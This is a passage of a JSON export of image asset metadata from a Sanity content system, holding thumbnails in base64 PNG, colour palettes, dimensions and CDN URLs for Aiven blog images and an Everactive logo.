g0agTlCFoE6GUxagclOYUAYbRDmbSsLOF9wkpVSSqoNyQy/qOwXqCtgnOZwQToJ9fsH9+kSME50DegYyG3+4w/dxCTTOci/CBEFOR1KWuHRY6lySJ48ouwo4K08uIWXdhjgEleNA0wY8TvPNIlEHEsopaextO0sG6dLyEgBAJ3nPTHZzzCCEiRj4igRIh54JaG1pb3lHrglL4+AsGHzKMjXIZMWWRsIzFJ5kIKX8gbPK/lIqce0+HmCpYKvgEYwyUUgI/c9oTzjnEGEVcSpEiRATKvRjl2oUyJrFIH+dZY5qmDovnuaNmecfpOXlMCSHG17ZwTyVhogaG8oIY+fgOWvfBNsbDuiC3KniWZCQqnXTkKJMesug0QzxbfOz+MVcnKZZ5j+zr8DcSQoI0xNRgworZrxj+H0ze8DY1r5V6eIWFMRYpzLPIk6FMxo+nhu/bA/4CQNbc0kK5MD4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4040","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721218","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cc212c","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9dafcc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7094","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808180","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc212c","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1bf62ff6ec243c3beeb7bcae169c202a2dd29db6-1999x1338.png","path":"images/sczeoy4w/production/1bf62ff6ec243c3beeb7bcae169c202a2dd29db6-1999x1338.png","sha1hash":"1bf62ff6ec243c3beeb7bcae169c202a2dd29db6","size":385734,"uploadId":"kFZv8dHj31xm619C2XWoyEYdpGB7XiQi","url":"https://cdn.sanity.io/images/sczeoy4w/production/1bf62ff6ec243c3beeb7bcae169c202a2dd29db6-1999x1338.png"} {"_createdAt":"2022-06-30T20:00:39Z","_id":"image-86b7ecd261ff5fd66af9f0040501162d8a15e232-1505x652-png","_rev":"CK1sLU2mnwa3vmbYWEd968","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:47Z","assetId":"86b7ecd261ff5fd66af9f0040501162d8a15e232","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGQmF%t7Rjt7V@~qRk_3RjD%00WBWAWBRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.308282208588957,"height":652,"width":1505},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAACD0lEQVQokT2PvW4TURCFtySmoovyHJS8Bo9Ahwvc8gikRxRIdIiCjjIdogFFQnIifhRix4735+79vzNz73rDDFpLpDiab4pzdE5Vt70Y6yUBClHmXAYZ9ntbyvAaAB9Tzsf7/XgyjuMJMx97H590Sn/otUUfkwASUy5SyiBERarNrpOmM2JdlAjEQEWQCvkI37revjEuvEqAp4B0mkuZ+G2rzLJVdu8DCGDmKQipTH6pVptGtjslnfZiA7CPKC7g3077vGu1U9oZH5IJEQxgNjGRb5Utbe84RBSgwlNYwiwuwNRQcaMcu4icsBwUE4nSXm6bXpR24iNIAprMEhIeFtXTKg+cIP/38PRXbe8PgHngMuy5DCNTHljbwLtWc288h4QMeGgyLeC6MzwVqZVl4xK7gGwDsnaJq94msR4lJJKQ8uHaANIqJ3VrWNvIIdF9k4mVDlJ3VhrlpLdRtEuiTJRGeamsh42LeNDEyoTNuta311vl687eWQ8SId8rJNq7AL31sHYBV9bDStu42jRm9WPVrqqYaIFUFoB5ESIsGmVfXFztXv6+aT92OuxCJIyQISQC4xPWvV93JrxLmBeUh+cx4bw3fv5r3cw/f7+aV5TzbBzvZuM4zgDg4c2uPbraqmPj0rMIdIZULgHz0gdYbltzef5z8+nL8vrptrOPRORBTDDrlD76evHn6P3Z+dE/wSuLunAkebEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#495a67","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#050914","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#495a67","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fb6cb","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcf4fc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60849c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#325bcc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"86b7ecd261ff5fd66af9f0040501162d8a15e232-1505x652.png","path":"images/sczeoy4w/production/86b7ecd261ff5fd66af9f0040501162d8a15e232-1505x652.png","sha1hash":"86b7ecd261ff5fd66af9f0040501162d8a15e232","size":107355,"uploadId":"qecCOQQQIV4uqbVeEZdf4yexcDxSYkLe","url":"https://cdn.sanity.io/images/sczeoy4w/production/86b7ecd261ff5fd66af9f0040501162d8a15e232-1505x652.png"} {"_createdAt":"2022-06-30T19:58:36Z","_id":"image-29b8eea208089cfaad6fd12e99ce7b46f160e01c-72x47-png","_rev":"cEPH2uRN58AU2lp9QO7qlV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:18Z","assetId":"29b8eea208089cfaad6fd12e99ce7b46f160e01c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VATR.zzplA$3lU-pe8f6kCf6loghf+f+eT-pl9g3kWf7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5319148936170213,"height":47,"width":72},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3ElEQVQokW1S2W7aQBTl36tKeehbP6BVo0p96WMVQtIQSiQWG7MFMNQsbuywGDA2GALG50TXlBKkjo5m7ozvenwSJAlwu+FmxXD397oPGW4ZhkQUAye8WYlDJGwD7RJdRwJWHmdDTizOR1wvJelmxZe1YPfCKHoTHO7oWChcIXXJTokLB8M+OhqbBbaKNFs0dfYbHDTQe+RoICmO9RNcOCwk8f0jvn3g1SfqKm0DzTzL96z+Qi0re/mexWvkfrCtSl+n4MkTkp/x5R0u3+PrBZQURyYGTXbrfOpw0IRRRbfOjoaWQss4r7zy2NFY+kn1lpUMbYOBL4+BL36bQIz1UhDEL2cz73cMPHoz6X+5iCnZx4j+Z0Qn/iV4s+LYpN2FZXBkCs8LR+BN6c/oz8XwppxP6E44H8vuz6QGkeDSha5AvaV6Q+2OlQxaBegKdUXGaWt4zKFVZCOPahaVjFyNqqRDlJBJenXUH1h7QDnNcpq6gkYOtax4l9NQb1C6YzHFfJJams0CdJVTm/sw/s/+XJpxxyKMscnpM8d/OOzzuUe7S+s3uzU0csL/yKRj07GEpiiKFXZgItofVbmVkf5hu+bSlWkDn7v4a7gVZyHsIOb4ONPwCUe2zxQubL8CSn/acHtXtMIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962702","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#822102","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccb0a1","foreground":"#000","population":0.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb0a1","foreground":"#000","population":0.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48d80","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a28c80","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7346","foreground":"#000","population":0.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"29b8eea208089cfaad6fd12e99ce7b46f160e01c-72x47.png","path":"images/sczeoy4w/production/29b8eea208089cfaad6fd12e99ce7b46f160e01c-72x47.png","sha1hash":"29b8eea208089cfaad6fd12e99ce7b46f160e01c","size":2150,"uploadId":"xS6gTkQrgrz3NkTmOBBypjM5PdkTrEpx","url":"https://cdn.sanity.io/images/sczeoy4w/production/29b8eea208089cfaad6fd12e99ce7b46f160e01c-72x47.png"} {"_createdAt":"2022-06-15T20:02:33Z","_id":"image-5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdlAb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:29Z","assetId":"5c0fb9442c803a33cd43ba7dd4ffb2989c88036d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVP6jj?^%M9]#mpeIoRPxZx].7MwM{wdkq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADL0lEQVQokR3G7U8adxwA8Pvf9i8s2Yu9WbKlWbYsmbaTTnCZ6NZaqxTFCtgJWrUisIGatlhrRWAiiCJI4UA47jge7ne/u+PJ5/D9LuzFJ/kwfIUMsnnB8TnHeXMs72YLgoctVDy5PO/pXxCph8gdD6Hd/8nKpacutbzJs8yHvb392Gky/bEmNf+R1cslmXZGmNR54a9w5Di/fxBVD0IxORg6ovsHURqKxGk8cU4LpSqtNlpU7Ks3aZ20KcdLNPDhk+Z0LnV23wa0SuZCVURSpETzMmfp/EbkMKEchGMYCsdxP3iIn4KHGIunMMuWkeMayJcJCgJFXlRQEBVMpnK46FjGJ38+QdfsPJZWfdh+H2o1U7ldpiyQ9YtilRSKIhaKYo8tCNBX5htQL9ahFjyBqn8PuOARZE4zkDpnIRj8F6w2O0xNTsL6M1OvNG7G6wmreuXZ3mEI7boI7cqEdpDQDhC5jYS2kUpNVCJJrP0+g+nvh3BnfALdziX0+fy4tbWNDocTX1os6DNbQHg+h7czr7Tr7fc7jKx0XbLSkSntIKVtUGgT+9SGjK3AAZZ+MKDny29wavAXnJ58jgsLC7i+vo7Ly8tos86j226H9OtFVLfWtJtEYIehtOlSqCarsoqqTHsakUEjBJqNOnROz0CwLsKGbhiM+hEYfzoJ81Y7uN1ucLlcYLPZYPaFCRzTRgxZdS3J9TDMaIS4NEkimtTAplTvtaQqtCUROlIFLsUiaEcBiNjHYGJ4AB7p9GAyW8Dv34S/vR4wm6bh18e63s8/PkDzwFfd2OgXaabNX2yoXJ7K5TxqYhG7dQ4vGyW8ahTxupbHm8w75N0GfG18gEMDP6HROIZv1lYwsOVF3+orfDk1juOGIZwfG+xGZ75NMF321KJkjk9q2ROOchn2spZnr+t59qaWY2+rn9m7wj7bCc6xMaeBNY0+uhh+rKvMz76oHn/08dXTXY4N+7no21U+8W4lVQ2trDFXXPrrdvHsN7WU+qMtZEaua1n9bS2rv6tl9HfVc/29mNTfl8J6mvDrN53mMYPu4dz0U6M9G9qcgkp8ou++fPTsjouO9oTYd/8BpOi+te+GWgwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453f3c","foreground":"#fff","population":1.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c542c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f13955","foreground":"#fff","population":3.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9596","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f13955","foreground":"#fff","population":3.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#627c90","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee6807","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844.png","path":"images/sczeoy4w/production/5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844.png","sha1hash":"5c0fb9442c803a33cd43ba7dd4ffb2989c88036d","size":525046,"uploadId":"qoK6ZMKR4m0ffb1hwpHfz1PeQW2ewaKY","url":"https://cdn.sanity.io/images/sczeoy4w/production/5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844.png"} {"_createdAt":"2022-11-16T06:50:10Z","_id":"image-aec8a9c4df5dbb244c7db1f161451736d5033c3b-800x611-png","_rev":"YI3rks3mbRtnzMpdn68Nmg","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T06:50:10Z","assetId":"aec8a9c4df5dbb244c7db1f161451736d5033c3b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6RfkK_3Dh?ax]xxRkajj?t7yZXB9GR:aJ.8bHM|NHbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.309328968903437,"height":611,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQokX2SW2/UQAxG8///F09IFIGoVm03u0kmmXHsseeWyyTZFKWUgoAiHc3DSMf+bLlo9fJYTqensbxOdZtbWNjd4vCcxj8JaW9h+fJNPn2GWqWQ9sLKBpgBZ7SZZZNwC2n/20zjcxx3tPPXL+XHD3dNjXHYC/EbcWbJzs/eLyEd8htx+L3QjW16PF3u7+51x0dnCRvxijYjJouppwVwM7hqXA2uxJuPPwvFhSlUFZ1LAhwP2cfV+cwyEyaE2Oq56bLSuemmVo+6z8gbuwPvZrGxaX1Ze6D5iB1CHoQnh9Faa6TTQwcZaCYQj8DokGbrXkaj5MiZTholxK/yPDJkqgaouTNGB4OLhgk1Jqi8aS1FKyv0ozXsoIeWWsWvsg9rkBiZIhoxBg1rGK5qaJSDFo0CrYPpJ6M9A0lvVWMvVws4HTO7sIlffMheoicUBESvdKq7qA6C0qnvIxMFS4xyLvvTg3ldmAvbYYbJyeBdimEIMYtf2a3ijpf96sMS45TixBTOZ3160NCPR2wXVhHHZKwNPm5p/PeFHAw7y1TXXVlW0Acfb4WERWtQdYno3rutt/NEOyrV1fVFG2fdUri4dcbXDSIfSYbpXdmnG/HUdlw1oFoBGos47i87W326/aftC7uPS6fl6aKvVa8hFD9+D97v+Sv5sKFNqmMNjnj6DnxTTaUjvr/yAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4064","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c4064","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6a6f8e","foreground":"#fff","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb5cc","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ec97","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6f8e","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed801d","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"architecture-v2.png","path":"images/sczeoy4w/production/aec8a9c4df5dbb244c7db1f161451736d5033c3b-800x611.png","sha1hash":"aec8a9c4df5dbb244c7db1f161451736d5033c3b","size":55449,"uploadId":"fb1G28WClFjjs0HN7IdrYcyjOOk10S0x","url":"https://cdn.sanity.io/images/sczeoy4w/production/aec8a9c4df5dbb244c7db1f161451736d5033c3b-800x611.png"} {"_createdAt":"2022-11-16T06:54:52Z","_id":"image-2d6c3f84e5cdca362a22ebe4a8cc30d207425fbd-2500x2542-png","_rev":"PJutSls1mvFq6xuKvmPLo9","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T06:54:52Z","assetId":"2d6c3f84e5cdca362a22ebe4a8cc30d207425fbd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZM%Dy.T00rWE#%zJCVtxVsl00Z#OtNZ$#M|t5E3rrxs56RP-px^xZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.983477576711251,"height":2542,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAE5UlEQVQ4jW2Ue1BUdRTHD4IJKGUpDGomZlbqpKEDAz54acCGhGEljJaa+EgcMdgF8VVNU+YDcyZpKpqRZtRmeiw5SANY0JAv1Alhl+dCICgakKM8d/fe+/02dwH7o85vzj33/u7M53fO+Z57haSMOoDhez02Hxd2fCu8sX0sraZIWE1HaTVthdXkTy1LyE9EJF9IESXLXbhXpCLFXx7C/uMD7WNIutN2ZCqsWZm0GG/AYiyBxbROqTH5JW/e7u7xYqqHzD4wRoduiwmVBSGr/xfoTWAmgSUkDeyt28ab+cVoPDiI2j19tJpKhqqM63Nzds6etPBt3+ClieN/fue5MfxbRDzz/gUCcCf5JMlEAjkAzhG4SHXAgv6WHnT/puLmSaLhw957VzPLfzmTln7UtCaodMsMfyXL3YsHJ7nxlMho3/TyZgJII1kOoAuAA4AGlymg0gf02WC/acadyo/6bcVpFzrNyUYlL3A+948bb8+Z6abQLOJ0KjrUF8BWAFcB2AGQ4Kjrj8OuOWG/34p7dWfQe9HYr1ZsrODFjSmo3OaPxn1i15sJQM9uGckCkgMcNmgEFKpQqblYI3hCdUC9fQ1a5UHiyo5eVL9bAqtpLawmP9RkuOnlTgCwXdO0JlXVqKkanKqCLscD1g/dRpu9C/3OITocTjqdCjRVI7pugRe+ASsygeoMXahSWIxJtJom6sApdrvj0J07Pd02WzsbG9pgqWtGeV0VTlvKedZ6mX/UN9JqbWFtbQttzR3otrVRKTWDZ7M1XE93otZkg8X4Hi3GGTowoLd34ER1ddP94uJLLCysgLmgDKeLSniiqIB55wpZWPI7R98Vl15G/VUL7QU/Kfwq+xbK086zLvMQa4zRtBgf04FTh4YcRzo7u3saG9tYV/cnaqw2lNVW4VRNGc3VF1jV0EQ9+/r6VjTa2vFXQyuV0z/20Zhuxucpr7Jt7wxWpnvzeoZrDn0A7NQ0rUVVVaqqCoei4K7jPq2DHWgZuku9h/q+qqhQNQ1aaztx/OseJmw6jKCXp9NvmsA1z+/L6EBHkTxHcmhEZJe6TqjUlXap7BKaoMMBVlwidx1oRfjruxgY/zjFT5i6zg3n00SaXF8J/aGpaVAVC6CpD6dwZI3gAEUBGpuIT3OdSNzwK0PjDYhe9wgfjRKEJAjS14s48jfrZbuzv3suetoOa/c62jH4AFAVnToM0lSgrxeotRBffqHhrZRmRMbv5+KVT9FC4YoIYegrwuBEkQdFOWLOXiPXfsjzbC7Ijew5fzJfuV7YzqYrTrTVkq21ZM0Vsuh78vAHdq5f24RowzGGxSxixKqxDFwtDDMIlhmEQYkiIrvl6bAdbvJ8is9LUUmzSzJWJQ4cTz7GvNQy5GU1MDezgx+ndmBnUj3XxBYxNiKLUVGBjDJ40ssgjIoURhiGs3PZ9GyROVvHer6QMiV48apnvksKmDuYOjGEqbPisGXBZm5YuJtJi7KYsHATY4PCGbt0KlfGeHBemDAsXLjcIFwSJwyNHwEKRQLSPeaHrPbNS54zqyfDO4B73J5Q33TzRJyPD+OnTGbCs5P4WvAEblrpTv0PZVgsCI8RRsQJ9bjMMAoT4cf61SqfvTHPuzPNa5qWKb7cN86Dk0UwfJxgvAjnewkMIlgeIVwRNQwKjxZGLnfFUfsHvF40k0+qyhIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35475c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#590b06","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fad374","foreground":"#000","population":6.07,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9a6d4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad374","foreground":"#000","population":6.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6b8e","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f55c13","foreground":"#fff","population":0.42,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"everactive-logo-image-composition.png","path":"images/sczeoy4w/production/2d6c3f84e5cdca362a22ebe4a8cc30d207425fbd-2500x2542.png","sha1hash":"2d6c3f84e5cdca362a22ebe4a8cc30d207425fbd","size":175007,"uploadId":"4JKwYJrDkDndF4pVGx2em0GSZKpmHnkJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d6c3f84e5cdca362a22ebe4a8cc30d207425fbd-2500x2542.png"} {"_createdAt":"2022-06-30T11:58:23Z","_id":"image-3d98af88665183f85724e09ec59c626584059450-902x759-png","_rev":"cEPH2uRN58AU2lp9QO7aht","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:38Z","assetId":"3d98af88665183f85724e09ec59c626584059450","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCS~n$tSwJ%gR5y?jFo}jFb^L~ofxZayRPyXbbt7kCfkibjFR*aekC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1884057971014492,"height":759,"width":902},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVQ4jZWSTW/TQBCG8/+v3ODIDZBIShUJOKFKvcIBEBIVElW6TpxCYnt352tnjHbXSZuiIvHqlbVezeP58MyYOd2TpCQi01nyub4eL6tEhIhmIqKqVqSqEWC377qu7/uh64Z913d9v9vlCyKqYTWSmTNsZuM41qvBe9esm2bdtrdte7tpt227bZpN225jhErW4DvYzGo9zBxC9D4AQIzFACHECJBSGg+aYGauJCIS0bGFGnFfR/Jh5gITER/hf0trz8ysmmHKMCVJqjaepDmRncJSYYiIgGX4D2p8HJZj2YCEmCT9R9lygMt4o5T5PZr3ILNDz/VLiAgAf8N28HS2UrmQ7H9PmWsZhMTMdSWZs/MIRExYhZOwCY8io6oNXfr+eSbeW56wIlJdjLokwxBCCDEECp7DQNETRMVoBGMS2/9Kny5n6fqnhWiqZd8TE8cI3ns/+Ex7H72HEAhAhC3JmGTUlOGPl7P09Yv1fW2l7nf+BGKeXowh5sUsu1B+YLXqBMvFhV5daeO0aYqdNi65G3YrvFmBW6Fbydrp2unG6aYpT5d+fJMPyxk/e0qvXtLZgs7mk9/M6XxOyzvj8jVVv53juwW+X9D5C3r+5A9ImNXhOjAGCgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4d51","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#811d03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f56257","foreground":"#fff","population":2.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f56257","foreground":"#fff","population":2.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b7755c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa643c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3d98af88665183f85724e09ec59c626584059450-902x759.png","path":"images/sczeoy4w/production/3d98af88665183f85724e09ec59c626584059450-902x759.png","sha1hash":"3d98af88665183f85724e09ec59c626584059450","size":19203,"uploadId":"UeKju3oIZQ7oRuRnDABVA6jbNmryprH0","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d98af88665183f85724e09ec59c626584059450-902x759.png"} {"_createdAt":"2022-11-24T11:55:40Z","_id":"image-293851558f263b685d33c810e52bfc8297526380-1567x844-png","_rev":"z7EiK8inwybcbhSAyC7TOo","_type":"sanity.imageAsset","_updatedAt":"2022-11-24T11:56:29Z","altText":"Our all-in-one cloud data platform combines all the data tools you need","assetId":"293851558f263b685d33c810e52bfc8297526380","description":"A summary diagram of the full Aiven offering as of 2022, with tools and processes.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB8UlEQVQokW2TCY7jIBBF+/7HmzXpxEsc2+AFGxsMeEneyM70aKRupI+EoF79UhVvAM/n89Dj8Tg0TRNFnhNHEZfLhev1euh0OnE+n7nf71hr2bbteP8Rv6+3D+B+GULAOYfWA0VZkqQ3kiQhTRPiJCGKIuI4oSgKtNZH4hDCEfsJuGda5hnvPEob0koRi5q6LWhViVAdqh8w44gx5oDtycNn4MvuFlZCa5iqHiE6vqcN3+6SvLqR1ymxatFmZPOaNViCmzCDxpqBdZn/A/6tfzGe4SpR5zsiqbhENedbzTUv+JWlnOQd1UtmXTBbhdWaWpQ0dYX37gugn9GVQhUVrWiReUshWjLZEgvJrRZ0umUaFM4ODL1GloK2qZmDfzVmB+7bfgjeU0tJmefUskLKCrFLCLIsIy9ypJSHuq5D9z2iyGlEQXD2C+A4Up0v5D9+U6Y37ll2qExj8vNPyuidLImPTu9QrRQiTZFJhNMdz8f2Kvmo/PlkNRYTpQzvEVoIKilpKslQFZjsylhmtNXLca8Upu2pkxyR3rC647F9AF8WWYPHtg22qXFjj7MjfhqZp4HF9ITJ4lzATY7ZT/hhpBMNTdMwOXuM3T+Hx9isC95Z/GSYvWWdPevyocCyLizLyrosbOvMOge8mw7tsa/fAn8AxlJHXqH9Sw8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c373e","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b526d","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93bbe2","foreground":"#000","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95c3ab","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93bbe2","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#509b79","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd1f5d","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Aiven-platform-2022-blog-752x405px.png","path":"images/sczeoy4w/production/293851558f263b685d33c810e52bfc8297526380-1567x844.png","sha1hash":"293851558f263b685d33c810e52bfc8297526380","size":221600,"title":"The Aiven platform 2022","uploadId":"wJ2CtQgIg8U2ggIFWLC4lmDQtyl2fW6D","url":"https://cdn.sanity.io/images/sczeoy4w/production/293851558f263b685d33c810e52bfc8297526380-1567x844.png"} {"_createdAt":"2022-11-16T07:22:37Z","_id":"image-16cc4eae29b1e667a401fca772d9a73f5d63b401-2500x2500-png","_rev":"bUMlF7B1Xxw34pzcKfvGZy","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T07:22:37Z","assetId":"16cc4eae29b1e667a401fca772d9a73f5d63b401","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZHTsm},vyn,9}^dtPWANIOFRQWBWZNIs,EMWEJCEhenI:xENxI@jG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFtElEQVQ4jT2Ua0yTVxjHnxbEKzplyvuqZM5lSusFqtM4QUfBzHbcbKGVXihQ2lKwgNbaV1CGQOVS6AUEN8WAiJclg6k433cuRhOTJU6NW7Js0ei+uIuLt2wq